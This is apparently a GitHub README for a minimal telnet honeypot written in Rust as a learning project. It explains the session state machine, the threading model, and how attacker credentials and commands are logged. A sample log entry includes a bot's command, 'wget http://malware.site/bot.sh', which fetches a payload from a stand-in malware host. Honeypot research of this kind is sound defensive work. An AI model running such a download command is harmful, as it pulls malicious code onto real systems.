Skip to content

Folders and files

NameName
Last commit message
Last commit date

Latest commit

 

History

8 Commits
 
 
 
 
 
 
 
 
 
 
 
 

Repository files navigation

minimal telnet honeypot in rust

this project is a minimal telnet honeypot written in rust with focus on simplicity, state management, and logging, not robust emulation or performance. the goal is to understand how automated bots interact with exposed services and how to build a basic state machine for network protocols.

this is not a production honeypot and does not aim to replace tools like cowrie. it is a learning project meant to build a correct mental model of tcp servers, threading, and session tracking.

references

protocol & standards

https://tools.ietf.org/html/rfc854 (telnet protocol specification)
https://en.wikipedia.org/wiki/Telnet
https://doc.rust-lang.org/std/net/struct.TcpListener.html
https://doc.rust-lang.org/std/thread/

concepts

https://www.geeksforgeeks.org/blogs/what-is-honeypot/
https://github.com/cowrie/cowrie (inspiration for telnet/ssh honeypots)

motivation

most “honeypot” projects jump directly to complex emulation or massive logging frameworks and hide the important parts:

  • handling raw tcp connections
  • managing session state (login -> shell -> exit)
  • capturing attacker input in real-time
  • the illusion of an interactive shell

this project intentionally stays minimal so the core logic is understandable.

learning inspiration came from:

  • desire to understand botnet behavior
  • rust’s ownership model applied to network sessions
  • building state machines for protocols

what this server does

  • listens on tcp port 2323
  • accepts incoming connections using std::thread for concurrency
  • presents a fake ubuntu 18.04 login prompt
  • manages sessions via a state machine (WaitUsername -> WaitPassword -> ShellActive)
  • logs every keystroke and command to stdout
  • simulates basic shell commands (ls, whoami, exit) to keep attackers engaged
  • assigns unique session ids to track multiple attackers

what this server intentionally does NOT do

this is a deliberate design choice.

  • no real file system access (commands are hardcoded responses)
  • no telnet option negotiation (raw tcp is used)
  • no async/await (uses thread-per-connection for simplicity)
  • no database storage (logs to stdout only)
  • no complex terminal emulation

the goal is to capture credentials and initial commands, not to fully fool a human.


session lifecycle (mental model)

a session in this server is an isolated state machine.

  1. accept() spawns a new thread for the connection
  2. a Session struct is created (id, ip, state: NewConnection)
  3. banner and login prompt are sent immediately
  4. state moves to WaitUsername -> input is captured -> state moves to WaitPassword
  5. credentials are logged
  6. state moves to ShellActive -> prompt changes to root@ubuntu:~#
  7. commands are parsed and fake responses are sent
  8. session ends on disconnect or exit command

data captured per session:

{
  "session_id": 42,
  "client_ip": "45.83.91.122",
  "username": "root",
  "password": "123456",
  "commands": [
    "uname -a",
    "wget http://malware.site/bot.sh"
  ]
}

concurrency model

threading is used instead of async.

  • each connection gets its own os thread (std::thread::spawn)
  • memory is owned by the thread (no complex sharing or mutexes needed for session state)
  • global_id_counter is managed by the main thread, so no mutex is needed for ID generation

this separation ensures that if one session panics or blocks, others are unaffected (mostly).


handling state

the core logic is a matching loop over session.state.

  • NewConnection: initial setup
  • WaitUsername: captures login
  • WaitPassword: captures password
  • ShellActive: main interaction loop

this explicit state management prevents attackers from running commands before logging in.


how to run

cargo run

then test with another terminal:

telnet localhost 2323

try logging in with any credentials and run:

  • ls
  • whoami
  • exit

final note

this project is about understanding the "interaction" side of security. it is about:

  • how easy it is to spin up a fake service
  • observing raw bot traffic
  • implementing protocol logic in rust

be careful running this on a public ip. bots will find you.

About

A simple telnet honeypot in Rust that uses a thread-per-connection model and an explicit state machine to safely capture attacker credentials and simulate basic shell responses.

Resources

Stars

0 stars

Watchers

0 watching

Forks

Releases

Packages

Contributors

Languages